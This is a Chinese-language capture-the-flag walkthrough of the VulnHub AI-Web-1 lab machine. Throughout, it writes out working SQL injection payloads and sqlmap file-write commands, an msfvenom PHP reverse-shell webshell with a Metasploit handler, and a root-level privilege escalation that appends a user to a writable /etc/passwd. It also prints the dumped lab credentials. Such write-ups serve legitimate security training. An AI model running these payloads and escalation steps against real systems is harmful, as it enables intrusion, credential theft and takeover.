前面给大家讲解了外网和内网渗透的相关知识和技术,以及各种工具的使用,在我们渗透中都会遇到,接下来我们需要进行靶场的练习和渗透了,这也是一个提升渗透能力的方法,这里给大家推荐几个比较好的额靶场,vulnhub和红日靶场(http://vulnstack.qiyuanxuetang.net),个人觉得红日靶场做的很好,可以全方位从外到内进行渗透,能学习到很多知识点。
https://www.vulnhub.com/entry/ai-web-1,353/
arp-scan -l
dirsearch
dirb
sqlmap
burpsuite
metasploit
msfvenom
SQL注入
/etc/passwd提权
在这个靶机中,如何使用–sql-query 在 uploads 目录下写入 webshell
我们可以看到是192.168.231.150的地址,我们扫描一下端口的开放信息,同样进行全端口扫描
nmap -sS -sV -p- 192.168.231.150
发现只开放了80端口,我们查看你一下80端口的服务
http://192.168.231.150:80
什么也没有,那只能去目录了,看看有什么可用的信息,我们用disrearch工具去扫目录
python3 dirsearch.py -u “http://192.168.231.150/”
发现有一个robots.txt文件存在,我们查看一下内容
http://192.168.231.150/robots.txt
User-agent: *
Disallow:
Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/
发现里面有两个目录,我们都分别看一下有什么信息
http://192.168.231.150/m3diNf0/
http://192.168.231.150/se3reTdir777/uploads/
给出的两个目录下的路径都打不开,我们再试一下这个路径
http://192.168.231.150/se3reTdir777/
发现存在有提交框
这不就是单纯的SQL注入吗,我们验证一下,我们输入单引号,直接报错
我们直接进行一波操作,查库,表,字段,字段信息内容,上语句,先查看一下有多少个字段,我们输入’order by 3-- ,返回正确,这里由于做完实验后,数据库连接不上了,就不上图了,大家知道方法就好了,我们直接构造payload进行查询就好了
输入’ union select 1,database(),3-- ,在第二个字段处返回aiweb1,当前数据库为aiweb1
查表
’ union select table_name,table_schema,3 from information_schema.tables where table_schema=database()–
返回了连个表:systemUser,user
查表中的字段
’ union select 1,2,column_name from information_schema.columns where table_schema=‘aiweb1’ and table_name=‘systemUser’–
’ union select 1,2,column_name from information_schema.columns where table_schema=‘aiweb1’ and table_name=‘user’–
systemUser:id,userName,password
user:id,firstName,lastName
我们猜测数据库的账号和密码就在systemUser表中
查字段信息
’ union select id,userName,password from aiweb1.systemUser–
字段信息:
Id:1
First Name: t00r
Last Name: RmFrZVVzZXJQYXNzdzByZA==(base64加密)
FakeUserPassw0rd(通过base64解密后的明文密码)
Id:2
First Name: aiweb1pwn
Last Name: TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ==
MyEvilPass_f908sdaf9_sadfasf0sa
Id:3
First Name: u3er
Last Name: TjB0VGhpczBuZUFsczA=
N0tThis0neAls0
但是似乎没有什么用,看看还有什么信息可以利用,我们分别在扫一下得到的路径的目录
python3 dirsearch.py -u “http://192.168.231.150/se3reTdir777/uploads/”
http://192.168.231.150/se3reTdir777/
http://192.168.231.150/se3reTdir777/uploads/
还是没有什么信息,下面连个可用的路径都是一样的,我们再看另外一个路径
python3 dirsearch.py -u “http://192.168.231.150//m3diNf0/”
http://192.168.231.150//m3diNf0/
发现存在一个info.php文件,这不是那个phpinfo信息吗,我们访问一下
发现了网站的根路径
/home/www/html/web1x443290o2sdf92213
只有知道物理路径我们才有可能获取 webshell,重新尝试–os-shell 第一次使用的路径是
/home/www/html/web1x443290o2sdf92213/,没有成功,可能是没有写入权限。想到之前个/se3reTdir777/uploads/目录,作为上传目录应该是有写入权限的,一试果然可以。
之后执行 sudo -l,然后又出了点问题,我为什么要一根筋的一直用 os-shell呢
想在 uploads 目录下写入一个 shell,先后开始用了–sql-shell、–sql-query,结
果提示:execution of non-query SQL statements is only available when stacked
queries are supported。
我给SQL注入页面抓了一个包,放在1.txt文件里进行扫描
python3 sqlmap.py -r C:/Users/admin/Desktop/1.txt --sql-query=‘select “” INTO OUTFILE “/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php”’
数据库断开了,所以出现报错
通过–sql-query发现插不进去,采用另一个办法用file-dest写入
尝试使用–file-dest 将 webshell 写入到 uploads 目录 先使用 msfvenom 生成 shell
代码,记得把生成的 shell 代码的最前面两个字符/*,其实去不去掉,无所谓,不影响后面反弹的会话,一样可获得flag。
通过msfvenom来生成一个php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.231.128 LPORT=5555 R > shell.php
发现已经生成了
cat hao.php 查看php里面的内容,是一个php文件的木马,用来反弹shell的
接下来我们把马上传到数据库的upload目录下,我们需要在kali中打开sqlmap,将刚才1.txt文件传到kali中,输入以下语句
sqlmap -r /home/zhian/test/1.txt --file-write /home/zhian/test/hao.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hao.php
发现执行成了,成功写入了
我们执行一下
http://192.168.231.150/se3reTdir777/uploads/hao.php
执行成功了,我们回到msf中进行监听,设置好参数
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.231.128
set lport 1234
options
run
我们在执行一下,刚才的那个路径
http://192.168.231.150/se3reTdir777/uploads/hao.php
返回了会话
执行一下getsystem提升不了权限,我们输入shell,在shell中进行提权,输入以下语句用于返回一个shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’
我们查看一下内核版本信息,是4.15版本的
4.15.0-64-generic
我们搜索4.15有什么漏洞
searchsploit linux 4.15
有四个本地权限提升的漏洞,我只试了第一个,因为需要靶机安装了 gcc 才能进
行后续操作,而安装的时候需要使用 sudo 命令,我们不知道 www-data 用户的登
录密码,所以放弃。
cat /etc/passwd
发现有这么几个用户: aiweb1 aiweb1pw
普通用户:
aiweb1❌1000:1000:AIWEB1:/home/aiweb1:/bin/bash
aiweb1pwn❌1001:1001::/home/aiweb1pwn:/bin/sh
在/home/www/html/web1x443290o2sdf92213/se3reTdir777/目录下发现一个
c0nFil3bd.php,浏览器访问时无内容。cat 打开之后发现是个数据库连接配置文
件,里面有用户名密码 aiweb1user/wGuDisZiTkLhuiH_z_zZQXXi,然而没什么用。
cd /home/www/html/web1x443290o2sdf92213/se3reTdir777/
cat c0nFil3bd.php
数据库密码
aiweb1user
wGuDisZiTkLhuiH_z_zZQXXi
find / -perm -u=s -type f 2>/dev/null
没有发现可用的 SUID 权限可执行程序,常见的 SUID 提权程序如下:
nmap,vim,less,more,nano,cp,mv,find,bash
www-data 用户执行 sudo 命令需要密码,而且我们也不知道 www-data 用户在不在/etc/sudoers 中。
寻找无果后,我们进行进行如何提权的问题:
全局可写文件夹、文件
find / -writable -type d 2>/dev/null #文件夹
find / -writable -type f 2>/dev/null #文件
在最后终于找到了/etc/passwd
ls -la /etc/passwd
-rw-r–r-- 1 www-data www-data 1664 Aug 21 2019 /etc/passwd 有可读写的权限
www-data 用户具有/etc/passwd 的可写权限。添加一个用户到/etc/passwd 文件中
关于Linux提权和利用suid提权,大家可以看这篇文章Linux提权和利用suid提权方法
将密码用盐生成密码hash
perl -le ‘print crypt(“Ai:Web:1.0”,“salt”)’
将用户ins1ght和密码Ai:Web:1.0,生成的密码hash添加到 入/etc/passwd中
echo “ins1ght:saPxWonD/gnR6:0:0:hacker:/root:/bin/bash” >> /etc/passwd
cat /etc/passwd | grep ins1gh
ins1ght:saPxWonD/gnR6:0:0:hacker:/root:/bin/bash
查看已经存在/etc/passwd文件中了
使用 su ins1ght 切换账户,密码是:Ai:Web:1.0
我们来查看flag所在位置,输入以下语句:
find / -name flag*
在/root/flag.txt路径下
我们直接输入cd /root
cat flag.txt
flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}
我们就拿到flag了。
这里,我们就完成了靶机的练习了,本次实验相对来说,较简单,没有太多的绕弯,直接获取到了shell,但是到提权那里就有点难度了,是通过写入/etc/passwd文件来提权的,在实战中比较少见,大家可以把它作为一条思路来利用。下次有空的话,给大家讲讲红日靶场的渗透过程吧。